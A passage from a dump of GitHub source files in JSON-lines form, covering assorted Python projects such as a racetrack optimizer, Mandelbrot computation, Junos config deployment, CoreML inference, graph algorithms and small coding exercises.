self.arrow_crosses_finish(p0, p1) else 1.\n time += fraction_before_finish\n length += fraction_before_finish * point_dist(p0, p1)\n return time, length\n\n def optimize_route(self, do_print=True, do_plot=True):\n \"\"\"\n identify and return the best routes [(time, length, , )]\n :param consider_length: True iff the min. length should be a secondary optimization criterion, after min. time\n :param do_print: True iff the best routes should be printed\n :param do_plot: True iff the best routes should be plotted\n :return: the best routes [(time, length, , )], sorted\n \"\"\"\n def route2str(time, length, moves, points):\n return f'time = {time:.3f}, length = {length:.3f}, moves = {moves}, points = {[(p.x, p.y) for p in points]}'\n\n if do_print:\n print(f'\\nFINDING THE FASTEST ROUTES...')\n n_moves = 0\n while self.starts:\n n_moves += 1\n self.move_forward()\n n_open_paths = len(self.starts)\n if n_open_paths:\n if do_print:\n print(f'After {n_moves} moves, {len(self.starts)} states/nodes have been reached...')\n backward_paths = []\n for s_end in self.ends:\n backward_paths.extend(self.retrace_paths_back_to_start(s_end))\n fastest_routes = []\n for backward_path in backward_paths:\n moves, points = zip(*reversed(backward_path))\n moves = ''.join([str(move) for move in moves])\n time, length = self.score_path(points)\n fastest_routes.append((time, length, moves, [point_rotate(point) for point in points]))\n fastest_routes = sorted(fastest_routes)\n best_time = fastest_routes[0][0]\n n_fastest = 0\n for route in fastest_routes:\n if route[0] > best_time:\n break\n else:\n n_fastest += 1\n fastest_routes = fastest_routes[:n_fastest]\n best_time_length = fastest_routes[0][:2]\n n_shortest_fastest = 0\n for route in fastest_routes:\n if route[:2] > best_time_length:\n break\n else:\n n_shortest_fastest += 1\n shortest_fastest_routes = fastest_routes[:n_shortest_fastest]\n if do_print:\n print(f'After {n_moves} moves, the finish line has been reached or crossed.')\n print()\n print(f'{\"These are\" if n_fastest > 1 else \"This is\"} '\n f'the {n_fastest} fastest path{\"s\" if n_fastest > 1 else \"\"}:')\n for (time, length, moves, points) in fastest_routes:\n print(route2str(time, length, moves, points))\n print()\n print(f'{\"These are\" if n_shortest_fastest > 1 else \"This is\"} '\n f'the {n_shortest_fastest} shortest fastest path{\"s\" if n_shortest_fastest > 1 else \"\"}:')\n for (time, length, moves, points) in shortest_fastest_routes:\n print(route2str(time, length, moves, points))\n if do_plot:\n min_time, min_length = shortest_fastest_routes[0][:2]\n self.plot_routes(\n fastest_routes,\n f'The {n_fastest} fastest route{\"s\" if n_fastest > 1 else \"\"}: time = {min_time:.3f}'\n )\n self.plot_routes(\n shortest_fastest_routes,\n f'The {n_shortest_fastest} shortest fastest route{\"s\" if n_shortest_fastest > 1 else \"\"}: '\n f'time = {min_time:.3f}, length = {min_length:.3f}'\n )\n return fastest_routes\n\n def plot_routes(self, routes, title, do_annotate=False):\n \"\"\"\n plot the given routes\n :param routes: sequence of routes [(time, length, , )]\n :param title: figure title\n :param do_annotate: True iff moves should be labelled in the plot\n :return: nothing\n \"\"\"\n foreground = 10\n background = 0\n hs = self.half_side\n margin = 1\n plt_hs = hs + margin\n fig, ax = plt.subplots(nrows=1, ncols=1, figsize=(plt_hs, plt_hs))\n fig.suptitle(title, fontsize=16)\n plt.xlim(-plt_hs, +plt_hs)\n plt.ylim(-plt_hs, +plt_hs)\n major_ticks = np.linspace(-plt_hs, plt_hs, 2 * plt_hs + 1)\n ax.set_xticks(major_ticks)\n ax.set_yticks(major_ticks)\n wall_col = 'gray'\n ax.grid(color=wall_col, zorder=background)\n ax.plot([-hs, +hs], [-hs, -hs], color=wall_col, zorder=background)\n ax.plot([-hs, +hs], [+hs, +hs], color=wall_col, zorder=background)\n ax.plot([-hs, -hs], [-hs, +hs], color=wall_col, zorder=background)\n ax.plot([+hs, +hs], [-hs, +hs], color=wall_col, zorder=background)\n ax.add_patch(plt.Circle((0, 0), self.r, color=wall_col, zorder=background))\n ax.add_patch(plt.Rectangle((-plt_hs, -plt_hs), margin, 2 * plt_hs, color=wall_col, zorder=background))\n ax.add_patch(plt.Rectangle((hs, -plt_hs), margin, 2 * plt_hs, color=wall_col, zorder=background))\n ax.add_patch(plt.Rectangle((-plt_hs, -plt_hs), 2 * plt_hs, margin, color=wall_col, zorder=background))\n ax.add_patch(plt.Rectangle((-plt_hs, hs), 2 * plt_hs, margin, color=wall_col, zorder=background))\n ax.plot([0, 0], [-self.r, -hs], linewidth=3, color=wall_col, zorder=background)\n legends = []\n for route_count, (time, length, moves, points) in enumerate(routes, 1):\n colors = reversed(cm.rainbow(np.linspace(0, 1, len(points) - 1)))\n for arrow_count, (p0, p1, move, arrow_color) in enumerate(zip(points[:-1], points[1:], moves, colors), 1):\n arrow_zorder = foreground + arrow_count\n ax.plot([p0.x], [p0.y], marker='o', markersize=5, color=arrow_color, zorder=arrow_zorder - 2)\n arrow = ax.arrow(p0.x, p0.y, p1.x - p0.x, p1.y - p0.y, color=arrow_color, linewidth=2,\n zorder=arrow_zorder, head_width=0.2, head_length=0.4, length_includes_head=True)\n if route_count == 1:\n legends.append((arrow, 'move ' + str(arrow_count)))\n if do_annotate:\n ax.annotate(move, ((p0.x + p1.x) / 2, (p0.y + p1.y) / 2), zorder=arrow_zorder + 10)\n arrows, labels = zip(*legends)\n ax.legend(arrows, labels)\n plt.show()\n\n\nif __name__ == '__main__':\n RaceTrack().optimize_route()\n","repo_name":"stefperf/racetrack","sub_path":"racetrack.py","file_name":"racetrack.py","file_ext":"py","file_size_in_byte":14992,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"22611931560","text":"class Solution:\n def reverseWords(self, s: str) -> str:\n # Split the string\n s = s.split()\n # Convert string into a list\n words = list(s)\n left, right = 0, len(words) - 1\n while left < right:\n # Swap words\n s[left], s[right] = s[right], s[left]\n left += 1\n right -= 1\n # Convert list back to string\n return \" \".join(s)\n ","repo_name":"abdifatahmohamad/Coding-Interview-Solutions","sub_path":"0151-reverse-words-in-a-string/0151-reverse-words-in-a-string.py","file_name":"0151-reverse-words-in-a-string.py","file_ext":"py","file_size_in_byte":430,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"27997693447","text":"# -*- coding: utf-8 -*-\nimport cv2\nimport openface\nfrom joblib import load\nfrom PIL import Image\n\nfrom estimate.core.cert import cert\n\n\ndef warn(*args, **kwargs):\n pass\n\n\nimport warnings\nimport random\nimport traceback\nimport urllib.parse\n\nwarnings.warn = warn\n\n# dlibFacePredictor = 'shape_predictor_68_face_landmarks.dat'\ndlibFacePredictor = '/home/ubuntu/project/kafis/backend/process/shape_predictor_68_face_landmarks.dat'\nnetworkModel = '/home/ubuntu/project/kafis/backend/process/nn4.small2.v1.t7'\nalign = openface.AlignDlib(dlibFacePredictor)\nnet = openface.TorchNeuralNet(networkModel, 96)\nmodels_path = '/home/ubuntu/project/kafis/backend/kafis/estimate/core/model.joblib'\n\n\ndef preprocess(imgPath, gender='F', name=None):\n if name is None:\n name = str(random.randint(1, 999999))\n bgrImg = cv2.imread(urllib.parse.unquote(imgPath))\n\n rgbImg = cv2.cvtColor(bgrImg, cv2.COLOR_BGR2RGB)\n\n bb = align.getAllFaceBoundingBoxes(rgbImg)\n\n class_names = ('красивый', 'обычный', 'некрасивый')\n\n if len(bb) > 1:\n raise Exception('Найдено больше одного лица!')\n elif len(bb) == 0:\n raise Exception('Не найдено ни одного лица!')\n else:\n bb = align.getAllFaceBoundingBoxes(rgbImg)[0]\n try:\n alignedFace = align.align(96, rgbImg, bb,\n landmarkIndices=openface.AlignDlib.OUTER_EYES_AND_NOSE)\n #rep = net.forward(alignedFace).reshape(1, -1)\n\n left = max(int(bb.left() - bb.width() * 0.5), 0)\n right = min(int(bb.right() + bb.width() * 0.5), int(rgbImg.shape[1]))\n top = max(int(bb.top() - bb.height() * 0.5), 0)\n bottom = min(int(bb.bottom() + bb.height() * 0.5), int(rgbImg.shape[0]))\n\n models = load(models_path)[0]\n\n cls_name = 'красивый'#class_names[models[gender].predict(rep)[0]]\n print(cls_name)\n face = Image.fromarray(rgbImg[top:bottom, left:right])\n img_path = cert(face, name, cls_name)\n return img_path, cls_name\n except Exception as e:\n traceback.print_exc()\n raise Exception('Не удаётся извлечь признаки, выберите другую фотографию!' + '\\n' + str(e)) \n \n\n# img1 = '/home/ivan/faces/Kristina_Фомина_75814093_M_4.jpg'\n# img2 = '/home/ivan/faces/img/yandex2.jpg'\n# img3 = '/home/ivan/faces/img/grim.jpg'\n# img4 = '/home/ivan/faces/img/kravez.jpg'\n# # try:\n# # preprocess(img1, gender='F')\n# # except Exception as e:\n# # print(str(e))\n#\n# preprocess(img1, gender='F', name='Кристина Фомина')\n","repo_name":"khaliullin/kafis","sub_path":"backend/kafis/estimate/core/process.py","file_name":"process.py","file_ext":"py","file_size_in_byte":2716,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"11909411303","text":"from machine import Pin, PWM, ADC\nimport utime\n\n#Initialize the potentiometer pin\nrp = ADC(28)\n\n#PWM output initialization, motor pin\npwm1 = PWM(Pin(13))\npwm1.freq(1000) #Set frequency\n\n#Numerical conversion parameters\nconver_100 = 101 / (65536)\n\n#Numerical remapping\ndef my_map(x, in_min, in_max, out_min, out_max):\n return int((x - in_min) * (out_max - out_min) / (in_max - in_min) + out_min)\n\n\n#Set speed of fan, speed=[0, 100]\ndef pwm_motor(speed):\n if speed > 100 or speed < 0:\n print('Please enter a limited speed value of 0-100')\n return\n pulse = my_map(speed, 0, 100, 0, 65535)\n print(pulse)\n pwm1.duty_u16(pulse)\n\nwhile True:\n # Convert the read potentiometer value into [0, 100]\n val_rp = int(rp.read_u16() * conver_100)\n utime.sleep(.1)\n # print(val_rp)\n pwm_motor(val_rp)\n","repo_name":"YahboomTechnology/Pico-sensor-kit","sub_path":"4.Advanced course/6.Adjustable speed fan/Adjustable_speed_fan.py","file_name":"Adjustable_speed_fan.py","file_ext":"py","file_size_in_byte":828,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"9158547357","text":"\"\"\"Fundamental routines for computing the Mandelbrot set\n\n Ole Nielsen, SUT 2003\n\"\"\"\n\n\ndef balance(N, P, p):\n \"\"\"Compute p'th interval when N is distributed over P bins.\n \"\"\"\n\n from math import floor\n\n L = int(floor(float(N) / P))\n K = N - P * L\n if p < K:\n Nlo = p * L + p\n Nhi = Nlo + L + 1\n else:\n Nlo = p * L + K\n Nhi = Nlo + L\n\n return Nlo, Nhi\n\n\ndef calculate_point(c, kmax):\n \"\"\"Python version for calculating on point of the set\n This is slow and for reference purposes only.\n Use version from mandel_ext instead.\n \"\"\"\n\n z = complex(0, 0)\n\n count = 0\n while count < kmax and abs(z) <= 2:\n z = z * z + c\n count += 1\n\n return count\n\n\ndef calculate_region(real_min, real_max, imag_min, imag_max, kmax, M, N,\n Mlo=0, Mhi=None, Nlo=0, Nhi=None):\n \"\"\"Calculate the mandelbrot set in the given region with resolution M by N\n If Mlo, Mhi or Nlo, Nhi are specified computed only given subinterval.\n \"\"\"\n\n from numpy import zeros\n from mandel_ext import calculate_point # Fast C implementation\n\n if Mhi is None:\n Mhi = M\n if Nhi is None:\n Nhi = N\n\n real_step = (real_max - real_min) / M\n imag_step = (imag_max - imag_min) / N\n\n A = zeros((M, N), dtype='i') # Create M x N matrix\n\n for i in range(Mlo, Mhi):\n for j in range(Nlo, Nhi):\n c = complex(real_min + i * real_step,\n imag_min + j * imag_step)\n A[i, j] = calculate_point(c, kmax)\n\n return A\n\n\ndef calculate_region_cyclic(real_min, real_max, imag_min, imag_max, kmax,\n M, N, p=0, P=1, row=1):\n \"\"\"Calculate rows p+nP, n in N of the mandelbrot set in the given region\n with resolution M by N\n\n This is the most efficient way of partitioning the work.\n \"\"\"\n\n from numpy import zeros\n from mandel_ext import calculate_point # Fast C implementation\n\n real_step = (real_max - real_min) / M\n imag_step = (imag_max - imag_min) / N\n\n A = zeros((M, N), dtype='i') # Create M x N matrix\n\n if row:\n for i in range(M):\n if i % P == p:\n for j in range(N):\n c = complex(real_min + i * real_step,\n imag_min + j * imag_step)\n A[i, j] = calculate_point(c, kmax)\n else:\n for j in range(N):\n if j % P == p:\n for i in range(M):\n c = complex(real_min + i * real_step,\n imag_min + j * imag_step)\n A[i, j] = calculate_point(c, kmax)\n return A\n","repo_name":"daleroberts/pypar","sub_path":"examples/mandelbrot_example/mandelbrot.py","file_name":"mandelbrot.py","file_ext":"py","file_size_in_byte":2667,"program_lang":"python","lang":"en","doc_type":"code","stars":68,"dataset":"github-code","pt":"52"} +{"seq_id":"20775140287","text":"import logging\n\nimport torch\nfrom coremltools.models.model import MLModel\n\nfrom helpers.constants import BATCH_SIZE, IMAGE_NAME, IOU_NAME, CONF_NAME, CONFIDENCE_NAME, COORDINATES_NAME, \\\n MASKS_NAME, NUMBER_NAME\nfrom pytorch_utils.pytorch_nms import pt_xywh2yxyx_yolo\n\n\nclass CoreMLModel:\n \"\"\" Class to load a CoreML model and run inference\n\n Attributes\n ----------\n model_path: str\n The path to the CoremL model\n \"\"\"\n def __init__(self, model_path):\n logging.info(\"- Initializing CoreML model...\")\n self.model = MLModel(model_path)\n\n spec = self.model.get_spec()\n pipeline = spec.pipeline\n self.labels = [label.rstrip() for label in pipeline.models[-1].nonMaximumSuppression.stringClassLabels.vector]\n if len(self.labels) == 0:\n self.labels = spec.description.output[-1].shortDescription.split(',')\n logging.info(f\"- There are {len(self.labels)} labels.\")\n\n input_details = spec.description.input\n output_details = spec.description.output\n\n input_names = ', '.join([input.name for input in input_details])\n output_name = ', '.join([output.name for output in output_details])\n\n self.img_size = (int(input_details[0].type.imageType.height), int(input_details[0].type.imageType.width))\n logging.info(\n f\"- The model takes {len(input_details)} input{'s' if len(input_details) > 1 else ''}: {input_names}.\")\n logging.info(f\"- The image is of size {self.img_size}.\")\n logging.info(f\"- It has {len(output_details)} output{'s' if len(output_details) > 1 else ''}: {output_name}\")\n\n def get_input_info(self):\n \"\"\"\n Returns the information about the input\n\n Returns\n ----------\n normalized, img size, batch size, PIL image, channel first\n Information about the input\n \"\"\"\n return False, self.img_size, BATCH_SIZE, True, False\n\n def predict(self, img, iou_threshold, conf_threshold):\n \"\"\"\n Runs the inference\n\n Parameters\n ----------\n img: PIL.Image\n The input image\n\n iou_threshold: float\n The IoU threshold\n\n conf_threshold: float\n The confidence threshold\n\n Returns\n ----------\n yxyx, classes, scores, masks, nb_detected\n The detections made by the model\n \"\"\"\n try:\n predictions = self.model.predict(\n {IMAGE_NAME: img, IOU_NAME: iou_threshold, CONF_NAME: conf_threshold})\n except:\n predictions = self.model.predict(\n {IMAGE_NAME: img, IOU_NAME: [iou_threshold], CONF_NAME: [conf_threshold]})\n\n yxyx = torch.from_numpy(predictions[COORDINATES_NAME]).view(-1, 4)\n confidence = torch.from_numpy(predictions[CONFIDENCE_NAME]).view(-1, len(self.labels))\n\n yxyx = pt_xywh2yxyx_yolo(yxyx) # coordinates are xywh\n classes = torch.argmax(confidence, dim=1)\n scores = torch.max(confidence, dim=1).values\n nb_detected = confidence.shape[0]\n\n if MASKS_NAME in predictions.keys():\n masks = torch.from_numpy(predictions[MASKS_NAME]).view(-1, self.img_size[0], self.img_size[1])\n nb_detected = predictions[NUMBER_NAME][0]\n else:\n masks = None\n\n return yxyx.unsqueeze(0), classes.unsqueeze(0), scores.unsqueeze(0), masks, torch.Tensor([nb_detected])\n","repo_name":"SchweizerischeBundesbahnen/sbb-ml-models","sub_path":"converter/inference-python/python_model/coreml_model.py","file_name":"coreml_model.py","file_ext":"py","file_size_in_byte":3433,"program_lang":"python","lang":"en","doc_type":"code","stars":14,"dataset":"github-code","pt":"52"} +{"seq_id":"17124035476","text":"from nornir_pyez.plugins.tasks import pyez_config, pyez_diff, pyez_commit\nfrom nornir import InitNornir\nfrom nornir_utils.plugins.functions import print_result\nfrom nornir.core.filter import F\nimport os\n\nscript_dir = os.path.dirname(os.path.realpath(__file__))\n\nnr = InitNornir(config_file=f\"{script_dir}/config.yml\")\n\njunos_devices = nr.filter(F(topo_type=\"PE\") | F(topo_type=\"P\"))\n\n\ndef rsvp_config(task):\n data = task.host.data\n net_response = task.run(task=pyez_config, template_path='/mnt/c/NornirJunos/mpls_proto.j2',\n template_vars=data, data_format='xml', name='Config RSVP')\n if net_response:\n diff = task.run(task=pyez_diff, name='RSVP diff')\n if diff:\n task.run(task=pyez_commit, name='RSVP commit')\n\n\nsend_result = junos_devices.run(\n task=rsvp_config)\nprint_result(send_result)\n","repo_name":"DataKnox/NornirJunos","sub_path":"deploy_mpls.py","file_name":"deploy_mpls.py","file_ext":"py","file_size_in_byte":847,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"52"} +{"seq_id":"38270932654","text":"class Solution:\n def minCostConnectPoints(self, points: [[int]]) -> int:\n\n # Calcular peso de arestas\n def manhattan_distance(p1, p2):\n return abs(p1[0] - p2[0]) + abs(p1[1] - p2[1])\n\n # Estrutura union-find\n def find(parent, i):\n if parent[i] == i:\n return i\n return find(parent, parent[i])\n\n def union(parent, rank, i, j):\n iroot = find(parent, i)\n jroot = find(parent, j)\n if rank[iroot] < rank[jroot]:\n parent[iroot] = jroot\n elif rank[iroot] > rank[jroot]:\n parent[jroot] = iroot\n else:\n parent[iroot] = jroot\n rank[jroot] += 1\n\n n = len(points)\n edges = []\n\n # Indicar o peso relativo a cada aresta\n for i in range(n):\n for j in range(i + 1, n):\n distance = manhattan_distance(points[i], points[j])\n edges.append((distance, i, j))\n\n # Ordena as arestas com base no peso\n edges.sort()\n\n parent = list(range(n))\n rank = [0] * n\n total_cost = 0\n num_edges_added = 0\n\n # Kruskal\n for edge in edges:\n distance, u, v = edge\n if find(parent, u) != find(parent, v):\n union(parent, rank, u, v)\n total_cost += distance\n num_edges_added += 1\n if num_edges_added == n - 1:\n break\n\n return total_cost\n\ndef tests(points: [[int]]):\n solution = Solution()\n return solution.minCostConnectPoints(points)\n\nresult = tests([[0,0],[2,2],[3,10],[5,2],[7,0]])\nprint(result)","repo_name":"projeto-de-algoritmos/Grafos2_Exercicios_Resolvidos","sub_path":"exercicio3/min_cost_to_connect_all_points.py","file_name":"min_cost_to_connect_all_points.py","file_ext":"py","file_size_in_byte":1695,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"52"} +{"seq_id":"16291477966","text":"#!/usr/bin/env python3\n\nimport re\nfrom enum import Enum, auto\n\n# INPUT_FILE = 'input20.txt'\nINPUT_FILE = 'example20.txt'\n\ndef main():\n # unittest.main()\n text = get_text(INPUT_FILE)\n tiles = parse_text(text)\n # for tile_id, grid in tiles.items():\n # print(f'Tile {tile_id}:')\n # for row in grid:\n # print(''.join(row))\n # print()\n\n tile_id = next(iter(tiles))\n print(f'Tile {tile_id}')\n tile = tiles[tile_id]\n for row in tile:\n print(''.join(row))\n print()\n for direction in Direction:\n print(f'\\tDirection: {direction:15} => {\"\".join(get_edge(tile, direction))}')\n print()\n\n for tile_id in tiles:\n matching = find_matching_directions(tile_id, tiles)\n for direction, other_direction, other_tile_id in matching:\n print(f'{direction:15} side of {tile_id} matches {other_direction:15} side of {other_tile_id}')\n print()\n grid = assemble_image(tiles)\n for row in grid:\n print(' '.join(str(tile_id for tile_id in row)))\n\ndef get_text(filename):\n with open(filename) as f:\n return f.read().strip()\n\ndef parse_text(text):\n tiles_texts = text.split('\\n\\n')\n return dict(parse_tile(t) for t in tiles_texts)\n\nHEADER_RE = re.compile('Tile (\\d+):')\ndef parse_tile(text):\n lines = text.split('\\n')\n header = lines[0]\n tile_id = int(HEADER_RE.match(header).group(1))\n lines = lines[1:]\n grid = [list(row) for row in lines]\n return tile_id, grid\n \ndef assemble_image(tiles):\n matching_directions = {tile_id: find_matching_directions(tile_id, tiles) for tile_id in tiles}\n # for tile_id, rotations in matching_rotations.items():\n # print(f'Tile {tile_id}:')\n # for rotation, directions in rotations.items():\n # print(f'\\tRotation: {rotation}')\n # for direction, tile_ids in directions.items():\n # print(f'\\t\\tDirection: {direction}')\n # for tile_id in tile_ids:\n # print(f'\\t\\t\\tTile {tile_id}')\n # break\n remaining = set(tiles.keys())\n grid = [[]]\n num_tiles = len(tiles)\n for num_rows in divisors(num_tiles):\n num_columns = num_tiles // num_rows\n result = assemble_image_helper(tiles, matching_directions, remaining, grid, num_rows,\n num_columns, 0, 0)\n if result:\n return result\n raise Exception('No image found')\n\ndef assemble_image_helper(tiles, matching_directions, remaining, grid, num_rows, num_columns,\n row_index, column_index):\n if not remaining:\n return grid\n offset = row_index * num_columns + column_index\n print(f'{\" \" * offset}remaining: {remaining}')\n print(f'{\" \" * offset}grid: {grid}')\n next_column_index = (column_index + 1) % num_columns\n next_row_index = row_index + 1 if next_column_index == 0 else row_index\n if next_column_index == 0:\n grid.append([])\n for tile_id in remaining:\n tile = tiles[tile_id]\n next_remaining = set(remaining)\n next_remaining.remove(tile_id)\n next_grid = [r[:] for r in grid]\n row = next_grid[row_index]\n for rotation in range(len(Direction)):\n for flip_horizontal in [False, True]:\n for flip_vertical in [False, True]:\n if row_index > 0:\n above_tile_id, above_rotation, above_flip_h, above_flip_v = grid[row_index - 1][column_index]\n above_tile = tiles[above_tile_id]\n if not tiles_match(above_tile, above_rotation, above_flip_h, above_flip_v,\n tile, rotation, flip_horizontal, flip_vertical, Direction.DOWN):\n offset = row_index * num_columns + column_index\n print(f'{\" \" * offset}Tile #{tile_id} does not match tile above, #{above_tile_id}')\n continue\n if column_index > 0:\n left_tile_id, left_rotation, left_flip_h, left_flip_v = grid[row_index][column_index - 1]\n left_tile = tiles[left_tile_id]\n if not tiles_match(left_tile, left_rotation, left_flip_h, left_flip_v, tile,\n rotation, flip_horizontal, flip_vertical, Direction.DOWN):\n print(f'{\" \" * offset}Tile #{tile_id} does not match tile left, #{left_tile_id}')\n continue\n print(f'{\" \" * offset}Adding tile #{tile_id} with rotation {rotation} at row ' + \\\n f'{row_index} and column {column_index}')\n row.append((tile_id, rotation, flip_horizontal, flip_vertical))\n result = assemble_image_helper(tiles, matching_directions, next_remaining, next_grid,\n num_rows, num_columns, next_row_index, next_column_index)\n if result:\n return result\n del row[-1]\n\ndef tiles_match(tile1, rotation1, flip1_h, flip1_v, tile2, rotation2, flip2_h, flip2_v, direction):\n edge1 = get_rotated_edge(tile1, rotation1, flip1_h, flip1_v, direction)\n edge2 = get_rotated_edge(tile2, rotation2, flip2_h, flip1_v, direction.opposite())\n return edges_match(edge1, edge2)\n \ndef find_matching_directions(tile_id, tiles):\n tile = tiles[tile_id]\n matching = []\n for direction in Direction:\n edge = get_edge(tile, direction)\n for other_tile_id, other_tile in tiles.items():\n if other_tile_id == tile_id:\n continue\n for other_direction in Direction:\n other_edge = get_edge(other_tile, other_direction)\n if edges_match(edge, other_edge):\n matching.append((direction, other_direction, other_tile_id))\n return matching\n\ndef edges_match(edge1, edge2):\n return all(x == y for x, y in zip(edge1, reversed(edge2)))\n\ndef get_edge(tile, direction):\n return get_rotated_edge(tile, 0, False, False, direction)\n\ndef get_rotated_edge(tile, rotation, flip_h, flip_v, direction):\n reverse = False\n if direction == Direction.RIGHT or direction == Direction.LEFT:\n reverse = flip_h\n elif direction == Direction.UP or direction == Direction.DOWN:\n reverse = flip_v\n else:\n raise Exception(f'Non-exhaustive case for {direction}')\n direction = add_wrapping_to_enum(direction, rotation)\n if direction == Direction.RIGHT and not flip_h or direction == Direction.LEFT and flip_h:\n return [row[-1] for row in tile]\n elif direction == Direction.UP and not flip_v or direction == Direction.DOWN and flip_v:\n return tile[0]\n elif direction == Direction.LEFT and not flip_h or direction == Direction.RIGHT and flip_h:\n return [row[0] for row in reversed(tile)]\n elif direction == Direction.DOWN and not flip_v or direction == Direction.UP and flip_v:\n return list(reversed(tile[-1]))\n else:\n raise Exception(f'Non-exhaustive case for {direction}')\n\nclass Direction(Enum):\n RIGHT = auto()\n DOWN = auto()\n LEFT = auto()\n UP = auto()\n \n def rotation(self):\n return self.value - 1\n\n def opposite(self):\n return add_wrapping_to_enum(self, 2)\n\ndef divisors(num):\n return [x for x in range(1, num + 1) if num % x == 0]\n\ndef add_wrapping_to_enum(variant, add):\n cls = type(variant)\n zero_based_value = variant.value - 1\n zero_based_next_value = (zero_based_value + add) % len(cls)\n next_value = zero_based_next_value + 1\n return cls(next_value)\n\nif __name__ == '__main__':\n main()\n","repo_name":"HarrisonMc555/adventofcode","sub_path":"2020/day20a.py","file_name":"day20a.py","file_ext":"py","file_size_in_byte":7743,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"52"} +{"seq_id":"71543596005","text":"from os import remove\n\nfrom firebase_admin import firestore\n\n\nfrom src.model.feedback_model import FeedbackModel\n\n\"\"\"service to manage feedback collection\"\"\"\n\n\nclass FeedbackService:\n def __init__(self):\n self.db = firestore.client()\n self.feedbacks_ref = self.db.collection(\"feedbacks\")\n\n \"\"\"add a new feedback\"\"\"\n\n def add(self, feedback: FeedbackModel):\n return self.feedbacks_ref.document().set(feedback.to_json())\n\n \"\"\"get list of feedback\"\"\"\n\n def get(self, search, rating):\n if rating == 0:\n query = self.feedbacks_ref.where(\"rating\", \"!=\", rating)\n else:\n query = self.feedbacks_ref.where(\"rating\", \"==\", rating)\n if search.replace(\" \", \"\") != \"\":\n query = query.where(\"prompt.message\", \">=\", search).where(\n \"prompt.message\", \"<=\", search + \"~\"\n )\n docs = query.stream()\n result = []\n for item in docs:\n item_data = item.to_dict()\n result.append({\"id\": item.id, \"data\": item_data})\n print(result)\n return result\n","repo_name":"SnowRobert/RisingBrain","sub_path":"src/service/feedback_service.py","file_name":"feedback_service.py","file_ext":"py","file_size_in_byte":1094,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"52"} +{"seq_id":"33997146560","text":"__author__ = [\"chrisholder\"]\n\nfrom typing import Tuple\n\nimport numpy as np\n\nfrom sktime.utils.numba.njit import njit\n\n\n@njit(fastmath=True)\ndef _dba_update(\n center: np.ndarray, X: np.ndarray, path_callable\n) -> Tuple[np.ndarray, float]:\n \"\"\"Perform an update iteration for dba.\n\n Parameters\n ----------\n center: np.ndarray (2d array of shape (m, p) where m is the number of dimensions\n and p is the number of time point)\n Time series that is the current center (or average).\n X : np.ndarray (3d array of shape (n, m, p) where n is number of instances, m\n is the dimensions and p is the timepoints))\n Time series instances compute average from.\n path_callable: Callable[Union[np.ndarray, np.ndarray], tuple[list[tuple], float]]\n Callable that returns the distance path.\n\n Returns\n -------\n np.ndarray (2d array of shape (m, p) where m is the number of dimensions and p is\n the number of time points.)\n The time series that is the computed average series.\n \"\"\"\n X_size, X_dims, X_timepoints = X.shape\n sum = np.zeros(X_timepoints)\n\n alignment = np.zeros((X_dims, X_timepoints))\n cost = 0.0\n for i in range(X_size):\n curr_ts = X[i]\n curr_alignment, _ = path_callable(curr_ts, center)\n for j, k in curr_alignment:\n alignment[:, k] += curr_ts[:, j]\n sum[k] += 1\n cost += np.linalg.norm(curr_ts[:, j] - center[:, k]) ** 2\n\n return alignment / sum, cost / X_timepoints\n","repo_name":"sktime/sktime","sub_path":"sktime/clustering/metrics/averaging/_dba_numba.py","file_name":"_dba_numba.py","file_ext":"py","file_size_in_byte":1553,"program_lang":"python","lang":"en","doc_type":"code","stars":7028,"dataset":"github-code","pt":"52"} +{"seq_id":"10568785238","text":"def check(x):\r\n for i in range(2, x):\r\n if x % i == 0:\r\n return False\r\n return True\r\n\r\n\r\ndef check2(x):\r\n x = str(x)\r\n\r\n if x == x[::-1]:\r\n return True\r\n else:\r\n return False\r\n\r\n\r\nn = int(input())\r\n\r\n\r\nwhile 1:\r\n if check2(n) == True and check(n) == True and n != 1:\r\n break\r\n\r\n else:\r\n n += 1\r\n\r\n\r\nprint(n)","repo_name":"MinHyukSeok/Algorithm_Solved","sub_path":"백준/Silver/1747. 소수&팰린드롬/소수&팰린드롬.py","file_name":"소수&팰린드롬.py","file_ext":"py","file_size_in_byte":374,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"21529461928","text":"import numpy as np\nimport matplotlib.pyplot as plt\npraise_the_sun = np.linspace(0, 1, 100000)\ndef jeg_er_trott(tuppelupp1,tuppelupp2,t = praise_the_sun):\n \n swaggy_boy_jesus = t * tuppelupp1[0] + (1 - t) * tuppelupp2[0]\n swaggy_boy_judas = t * tuppelupp1[1] + (1 - t) * tuppelupp2[1]\n return (swaggy_boy_jesus, swaggy_boy_judas)\n\n\nplt.plot(jeg_er_trott((1,1),(1,2))[0],jeg_er_trott((1,1),(1,2))[1], label = \"VERTIKAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAL\")\nplt.plot(jeg_er_trott((1,1),(2,1))[0],jeg_er_trott((1,1),(2,1))[1], label = \"HORISONTAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAL\")\nplt.legend()\nplt.xlabel(\"OH LAWD HE COMIN (x-posisjon)\")\nplt.ylabel(\"HERE COME DAT BOI. OH SHIT WADDUP! (y-posisjon)\")\nplt.show()\n\n\"\"\"\nrunning example:\nI get that gucci graph\n\"\"\"\n\"\"\"\nI'm brutally tired and can't really get my head to do the b assignment.\nTo do it I would make a loop that would traverse a list of tuples of points and plot them.\n\"\"\"","repo_name":"MrMelk/IN1900","sub_path":"Oblig6/graph1.py","file_name":"graph1.py","file_ext":"py","file_size_in_byte":946,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"7253072413","text":"import bs4\n\nfrom lxml import html\nfrom django.conf import settings\nfrom scrapy.spiders import Spider\nfrom scrapy.http.request import Request\nfrom scrapy.http.response import Response\n\nfrom resources.models import Company\nfrom 